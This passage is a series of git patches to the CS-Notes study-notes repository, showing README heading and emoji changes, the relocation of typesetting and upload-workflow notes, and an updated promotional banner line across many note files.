 <a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
 
-
 #### 知识星球
 
 想要向笔者提问关于学习和求职方面的建议？来知识星球，你的每个提问我都会认真回答。
@@ -116,16 +109,6 @@
 
 [🔎](https://github.com/CyC2018/Job-Recommend)
 
-#### 排版
-
-笔记内容按照 [中文文案排版指北](https://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
-
-#### 上传方案
-
-笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
-
-笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
-
 #### Logo
 
 Power by [logomakr](https://logomakr.com/).

From 0ae7415d6404782264327d497d4c48ef44769ebb Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:16:50 +0800
Subject: [PATCH 015/100] =?UTF-8?q?Update=20=E7=9B=B8=E5=85=B3=E5=86=85?=
 =?UTF-8?q?=E5=AE=B9.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 相关内容.md | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/相关内容.md b/相关内容.md
index 986f6bfe..35357fcb 100644
--- a/相关内容.md
+++ b/相关内容.md
@@ -16,4 +16,13 @@
 
 [🔎](https://github.com/CyC2018/Job-Recommend)
 
+# 排版
+
+笔记内容按照 [中文文案排版指北](https://mazhuang.org/wiki/chinese-copywriting-guidelines/) 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。笔者将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Markdown-Typesetting)。
+
+# 上传方案
+
+笔者在本地使用为知笔记软件进行书写，为了方便将本地笔记内容上传到 Github 上，实现了一整套自动化上传方案，包括文本文件的导出、提取图片、Markdown 文档转换、Git 同步。进行 Markdown 文档转换是因为 Github 使用的 GFM 不支持 MathJax 公式和 TOC 标记，所以需要替换 MathJax 公式为 CodeCogs 的云服务和重新生成 TOC 目录。
+
+笔者将自己实现文档转换功能提取出来，方便大家在需要将本地 Markdown 上传到 Github，或者制作项目 README 文档时生成目录时使用：[GFM-Converter](https://github.com/CyC2018/GFM-Converter)。
 

From f11fcc2bb1feef7aa08c25a2a937f3d1203a0d2e Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:18:04 +0800
Subject: [PATCH 016/100] Update README.md

---
 README.md | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 8a2890cd..b29d9432 100644
--- a/README.md
+++ b/README.md
@@ -92,12 +92,11 @@
 
 学习笔记不是从网上到处拼凑而来，除了少部分引用书上和技术文档的原文，其余都是笔者的原创。在您引用本仓库内容或者对内容进行修改演绎时，请遵循文末的开源协议，谢谢。
 
-#### 交流群
+#### QQ 群
 
 为大家提供一个学习交流平台，在这里你可以自由地和笔者以及其他人进行技术上的交流。
 
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
-<a target="_blank" href="//shang.qq.com/wpa/qunwpa?idkey=93df4b54d965e6c649fe49fe109b2d656609aacc5ec49b4ef4071ae6db1d43c0">QQ 群</a>
 
 #### 知识星球
 

From d2822019b22a21102fc70495b3f45689e0ee9864 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:29:09 +0800
Subject: [PATCH 017/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index b29d9432..4477d6ef 100644
--- a/README.md
+++ b/README.md
@@ -79,7 +79,7 @@
 - [构建工具](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/构建工具.md)
 - [正则表达式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/正则表达式.md)
 
-### :speak_no_evil: 编码实践 
+### :mag_right: 编码实践 
 
 - [代码可读性](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码可读性.md)
 - [代码风格规范](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/代码风格规范.md)

From 99625fc42b585c93b627174e02c58c8180fa2fb7 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:34:52 +0800
Subject: [PATCH 018/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 4477d6ef..9416cf04 100644
--- a/README.md
+++ b/README.md
@@ -42,7 +42,7 @@
 - [HTTP](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/HTTP.md)
 - [Socket](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Socket.md)
 
-### :couple: 面向对象
+### :unlock: 面向对象
 
 - [设计模式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/设计模式.md)
 - [面向对象思想](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/面向对象思想.md)

From d222782fd10d4de5ba7e45e8a1668b16ef9f3b31 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:39:29 +0800
Subject: [PATCH 019/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 9416cf04..8b71bfea 100644
--- a/README.md
+++ b/README.md
@@ -72,7 +72,7 @@
 - [缓存](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/缓存.md)
 - [消息队列](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/消息队列.md)
 
-### :hammer: 工具 
+### :wrench: 工具 
 
 - [Git](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Git.md)
 - [Docker](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Docker.md)

From 5579ad3c3959ab111435a5501e270742896cfe29 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:42:21 +0800
Subject: [PATCH 020/100] auto commit

---
 docs/notes/Docker.md                 | 2 +-
 docs/notes/Git.md                    | 2 +-
 docs/notes/HTTP.md                   | 2 +-
 docs/notes/Java IO.md                | 2 +-
 docs/notes/Java 基础.md              | 2 +-
 docs/notes/Java 容器.md              | 2 +-
 docs/notes/Java 并发.md              | 2 +-
 docs/notes/Java 虚拟机.md            | 2 +-
 docs/notes/Leetcode 题解.md          | 2 +-
 docs/notes/Leetcode-Database 题解.md | 2 +-
 docs/notes/Linux.md                  | 2 +-
 docs/notes/MySQL.md                  | 2 +-
 docs/notes/Redis.md                  | 2 +-
 docs/notes/SQL.md                    | 2 +-
 docs/notes/Socket.md                 | 2 +-
 docs/notes/代码可读性.md             | 2 +-
 docs/notes/代码风格规范.md           | 2 +-
 docs/notes/分布式.md                 | 2 +-
 docs/notes/剑指 offer 题解.md        | 2 +-
 docs/notes/攻击技术.md               | 2 +-
 docs/notes/数据库系统原理.md         | 2 +-
 docs/notes/构建工具.md               | 2 +-
 docs/notes/正则表达式.md             | 2 +-
 docs/notes/消息队列.md               | 2 +-
 docs/notes/算法.md                   | 2 +-
 docs/notes/系统设计基础.md           | 2 +-
 docs/notes/缓存.md                   | 2 +-
 docs/notes/计算机操作系统.md         | 2 +-
 docs/notes/计算机网络.md             | 2 +-
 docs/notes/设计模式.md               | 2 +-
 docs/notes/集群.md                   | 2 +-
 docs/notes/面向对象思想.md           | 2 +-
 32 files changed, 32 insertions(+), 32 deletions(-)

diff --git a/docs/notes/Docker.md b/docs/notes/Docker.md
index 0e3dc2be..1c200848 100644
--- a/docs/notes/Docker.md
+++ b/docs/notes/Docker.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、解决的问题](#一解决的问题)
 * [二、与虚拟机的比较](#二与虚拟机的比较)
diff --git a/docs/notes/Git.md b/docs/notes/Git.md
index 1fe30058..a594d197 100644
--- a/docs/notes/Git.md
+++ b/docs/notes/Git.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [集中式与分布式](#集中式与分布式)
 * [中心服务器](#中心服务器)
diff --git a/docs/notes/HTTP.md b/docs/notes/HTTP.md
index a17faf13..67bc68ad 100644
--- a/docs/notes/HTTP.md
+++ b/docs/notes/HTTP.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一 、基础概念](#一-基础概念)
     * [URI](#uri)
diff --git a/docs/notes/Java IO.md b/docs/notes/Java IO.md
index 2fdcc912..f0ae70c0 100644
--- a/docs/notes/Java IO.md	
+++ b/docs/notes/Java IO.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
 * [二、磁盘操作](#二磁盘操作)
diff --git a/docs/notes/Java 基础.md b/docs/notes/Java 基础.md
index 99fa9bda..22d59c03 100644
--- a/docs/notes/Java 基础.md	
+++ b/docs/notes/Java 基础.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、数据类型](#一数据类型)
     * [包装类型](#包装类型)
diff --git a/docs/notes/Java 容器.md b/docs/notes/Java 容器.md
index a83674e0..04902d87 100644
--- a/docs/notes/Java 容器.md	
+++ b/docs/notes/Java 容器.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概览](#一概览)
     * [Collection](#collection)
diff --git a/docs/notes/Java 并发.md b/docs/notes/Java 并发.md
index a4136cdd..b4f3693b 100644
--- a/docs/notes/Java 并发.md	
+++ b/docs/notes/Java 并发.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、线程状态转换](#一线程状态转换)
     * [新建（New）](#新建new)
diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index 97df6d62..3eb14f67 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、运行时数据区域](#一运行时数据区域)
     * [程序计数器](#程序计数器)
diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 3af938ab..9310948f 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [算法思想](#算法思想)
     * [双指针](#双指针)
diff --git a/docs/notes/Leetcode-Database 题解.md b/docs/notes/Leetcode-Database 题解.md
index 404852a0..3ced862e 100644
--- a/docs/notes/Leetcode-Database 题解.md	
+++ b/docs/notes/Leetcode-Database 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [595. Big Countries](#595-big-countries)
 * [627. Swap Salary](#627-swap-salary)
diff --git a/docs/notes/Linux.md b/docs/notes/Linux.md
index b11f38e4..3bd2affc 100644
--- a/docs/notes/Linux.md
+++ b/docs/notes/Linux.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、常用操作以及概念](#一常用操作以及概念)
     * [快捷键](#快捷键)
diff --git a/docs/notes/MySQL.md b/docs/notes/MySQL.md
index 9a974080..720e476e 100644
--- a/docs/notes/MySQL.md
+++ b/docs/notes/MySQL.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、索引](#一索引)
     * [B+ Tree 原理](#b-tree-原理)
diff --git a/docs/notes/Redis.md b/docs/notes/Redis.md
index e7745ace..2dc996c0 100644
--- a/docs/notes/Redis.md
+++ b/docs/notes/Redis.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 8c1bbeec..8aa2bf38 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index 04b8e64b..92f4149f 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 06a2f19a..5486a1a7 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index f26bca7f..2630a604 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index 0ca370c1..ac7e06dc 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index fdb7f591..68bf3267 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [1. 前言](#1-前言)
 * [2. 实现 Singleton](#2-实现-singleton)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index 64f1a5f5..2fa52c0f 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index d09d569c..9b64c774 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index 0c90a183..cb07e5c9 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index 812eca2f..16d96122 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index 53549724..e6fdf040 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index 55cf74b6..267085e4 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index 8ded249e..4cf9cd7c 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index fd6ac52c..31fe9e20 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index ae562637..a6895a66 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 596fc628..192596f8 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index 9b4ddeee..a85dea0e 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index ba0b44fb..f42524b7 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 8b317b01..ba7fe359 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[🎉 面试进阶专栏限时优惠](https://xiaozhuanlan.com/CyC2018)
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From 880fa19db1db7b72428ce77855701db1e1232bae Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:46:05 +0800
Subject: [PATCH 021/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 8b71bfea..14f9f691 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
 -->
 
 
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<div align="right">   <a src="https://xiaozhuanlan.com/CyC2018> 🎉 面试进阶指南已上线 </a> </div>
 
 <br>
 

From 3bee853c4a9bc99a14539110d596bb7b91b25c7f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:46:19 +0800
Subject: [PATCH 022/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 14f9f691..4d6cc25e 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
 -->
 
 
-<div align="right">   <a src="https://xiaozhuanlan.com/CyC2018> 🎉 面试进阶指南已上线 </a> </div>
+
 
 <br>
 

From f3bff234204d3ff54cd615f6b0f4bbc3dd1548b8 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:47:40 +0800
Subject: [PATCH 023/100] Update README.md

---
 README.md | 1 +
 1 file changed, 1 insertion(+)

diff --git a/README.md b/README.md
index 4d6cc25e..5d84e0f9 100644
--- a/README.md
+++ b/README.md
@@ -13,6 +13,7 @@
 -->
 
 
+<div align="right">   <a src="https://xiaozhuanlan.com/CyC2018"> 面试进阶指南已上线 🎉 </a> </div>
 
 
 <br>

From 21f16dd08cb374fd40ee172e9477d42e6255790f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:48:01 +0800
Subject: [PATCH 024/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 5d84e0f9..6bc333eb 100644
--- a/README.md
+++ b/README.md
@@ -13,7 +13,7 @@
 -->
 
 
-<div align="right">   <a src="https://xiaozhuanlan.com/CyC2018"> 面试进阶指南已上线 🎉 </a> </div>
+
 
 
 <br>

From 0b7e53ff22670821358ac94f2126f5d9b4f56eba Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 20 Jan 2019 10:49:30 +0800
Subject: [PATCH 025/100] Update README.md

---
 README.md | 37 +++++++++++++++++--------------------
 1 file changed, 17 insertions(+), 20 deletions(-)

diff --git a/README.md b/README.md
index 6bc333eb..1375ca72 100644
--- a/README.md
+++ b/README.md
@@ -13,9 +13,6 @@
 -->
 
 
-
-
-
 <br>
 
 <div align="center">
@@ -26,29 +23,29 @@
 
 <br/>
 
-### :pencil2: 算法
+## :pencil2: 算法
 
 - [剑指 Offer 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/剑指%20offer%20题解.md)
 - [Leetcode 题解](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Leetcode%20题解.md)
 - [算法](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/算法.md)
 
-### :computer: 操作系统
+## :computer: 操作系统
 
 - [计算机操作系统](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机操作系统.md)
 - [Linux](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Linux.md)
 
-### :cloud: 网络 
+## :cloud: 网络 
 
 - [计算机网络](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/计算机网络.md)
 - [HTTP](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/HTTP.md)
 - [Socket](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Socket.md)
 
-### :unlock: 面向对象
+## :unlock: 面向对象
 
 - [设计模式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/设计模式.md)
 - [面向对象思想](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/面向对象思想.md)
 
-### :floppy_disk: 数据库 
+## :floppy_disk: 数据库 
 
 - [数据库系统原理](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/数据库系统原理.md)
 - [SQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/SQL.md)
@@ -56,7 +53,7 @@
 - [MySQL](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/MySQL.md)
 - [Redis](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Redis.md)
 
-### :coffee: Java
+## :coffee: Java
 
 - [Java 基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20基础.md)
 - [Java 容器](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20容器.md)
@@ -64,7 +61,7 @@
 - [Java 虚拟机](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20虚拟机.md)
 - [Java I/O](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Java%20IO.md)
 
-### :bulb: 系统设计 
+## :bulb: 系统设计 
 
 - [系统设计基础](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/系统设计基础.md)
 - [分布式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/分布式.md)
@@ -73,53 +70,53 @@
 - [缓存](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/缓存.md)
 - [消息队列](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/消息队列.md)
 
-### :wrench: 工具 
+## :wrench: 工具 
 
 - [Git](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Git.md)
 - [Docker](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/Docker.md)
 - [构建工具](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/构建工具.md)
 - [正则表达式](https://github.com/CyC2018/CS-Notes/blob/master/docs/notes/正则表达式.md)
 
-### :mag_right: 编码实践 
+## :mag_right: 编码实践 
 
